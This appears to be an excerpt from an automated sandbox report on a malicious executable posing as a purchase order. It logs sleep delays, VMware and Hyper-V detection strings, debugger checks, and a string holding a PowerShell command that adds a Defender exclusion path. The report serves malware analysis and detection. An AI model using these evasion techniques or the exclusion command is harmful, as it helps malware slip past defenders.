Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -234047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -233016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -232078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -231953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5376	Thread sleep time: -101499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -231828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -231719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -231594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -231469s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4772	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 4580	Thread sleep time: -44000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239844	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239656	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239531	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239422	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238891	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238750	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238641	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238516	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238406	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238297	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237719	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237563	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237219	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236844	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236203	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236094	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234047	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233781	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233641	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233516	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233375	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233266	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233141	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233016	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232797	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232688	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232563	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232438	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232203	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232078	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 101499	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231719	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231469	Jump to behavior

Source: explorer.exe, 00000007.00000000.287460148.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000007.00000000.287460148.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000007.00000000.288044675.0000000008CC6000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.311478350.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000007.00000000.287675555.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000007.00000000.287548556.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000007.00000000.311478350.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000007.00000000.288076974.0000000008CEA000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.287675555.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000007.00000000.278193796.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.263912988.0000000000F73000.00000004.00000020.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: explorer.exe, 00000007.00000000.287675555.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000007.00000000.287548556.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000007.00000000.282879554.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: explorer.exe, 00000007.00000000.311478350.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000007.00000000.311478350.00000000059C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\Purchase_Order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_004088B0 rdtsc

4_2_004088B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_00409B20 LdrLoadDll,

4_2_00409B20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120 mov eax, dword ptr fs:[00000030h]	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120 mov eax, dword ptr fs:[00000030h]	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120 mov eax, dword ptr fs:[00000030h]	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120 mov eax, dword ptr fs:[00000030h]	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120 mov ecx, dword ptr fs:[00000030h]	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A513A mov eax, dword ptr fs:[00000030h]	4_2_012A513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A513A mov eax, dword ptr fs:[00000030h]	4_2_012A513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279100 mov eax, dword ptr fs:[00000030h]	4_2_01279100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279100 mov eax, dword ptr fs:[00000030h]	4_2_01279100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279100 mov eax, dword ptr fs:[00000030h]	4_2_01279100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127C962 mov eax, dword ptr fs:[00000030h]	4_2_0127C962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B171 mov eax, dword ptr fs:[00000030h]	4_2_0127B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B171 mov eax, dword ptr fs:[00000030h]	4_2_0127B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B944 mov eax, dword ptr fs:[00000030h]	4_2_0129B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B944 mov eax, dword ptr fs:[00000030h]	4_2_0129B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F69A6 mov eax, dword ptr fs:[00000030h]	4_2_012F69A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A61A0 mov eax, dword ptr fs:[00000030h]	4_2_012A61A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A61A0 mov eax, dword ptr fs:[00000030h]	4_2_012A61A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F51BE mov eax, dword ptr fs:[00000030h]	4_2_012F51BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F51BE mov eax, dword ptr fs:[00000030h]	4_2_012F51BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F51BE mov eax, dword ptr fs:[00000030h]	4_2_012F51BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F51BE mov eax, dword ptr fs:[00000030h]	4_2_012F51BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov eax, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov eax, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov eax, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov ecx, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF mov eax, dword ptr fs:[00000030h]	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013349A4 mov eax, dword ptr fs:[00000030h]	4_2_013349A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013349A4 mov eax, dword ptr fs:[00000030h]	4_2_013349A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013349A4 mov eax, dword ptr fs:[00000030h]	4_2_013349A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013349A4 mov eax, dword ptr fs:[00000030h]	4_2_013349A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129C182 mov eax, dword ptr fs:[00000030h]	4_2_0129C182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA185 mov eax, dword ptr fs:[00000030h]	4_2_012AA185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2990 mov eax, dword ptr fs:[00000030h]	4_2_012A2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0127B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0127B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0127B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013041E8 mov eax, dword ptr fs:[00000030h]	4_2_013041E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128B02A mov eax, dword ptr fs:[00000030h]	4_2_0128B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128B02A mov eax, dword ptr fs:[00000030h]	4_2_0128B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128B02A mov eax, dword ptr fs:[00000030h]	4_2_0128B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128B02A mov eax, dword ptr fs:[00000030h]	4_2_0128B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A002D mov eax, dword ptr fs:[00000030h]	4_2_012A002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A002D mov eax, dword ptr fs:[00000030h]	4_2_012A002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A002D mov eax, dword ptr fs:[00000030h]	4_2_012A002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A002D mov eax, dword ptr fs:[00000030h]	4_2_012A002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A002D mov eax, dword ptr fs:[00000030h]	4_2_012A002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A830 mov eax, dword ptr fs:[00000030h]	4_2_0129A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A830 mov eax, dword ptr fs:[00000030h]	4_2_0129A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A830 mov eax, dword ptr fs:[00000030h]	4_2_0129A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A830 mov eax, dword ptr fs:[00000030h]	4_2_0129A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01344015 mov eax, dword ptr fs:[00000030h]	4_2_01344015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01344015 mov eax, dword ptr fs:[00000030h]	4_2_01344015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7016 mov eax, dword ptr fs:[00000030h]	4_2_012F7016
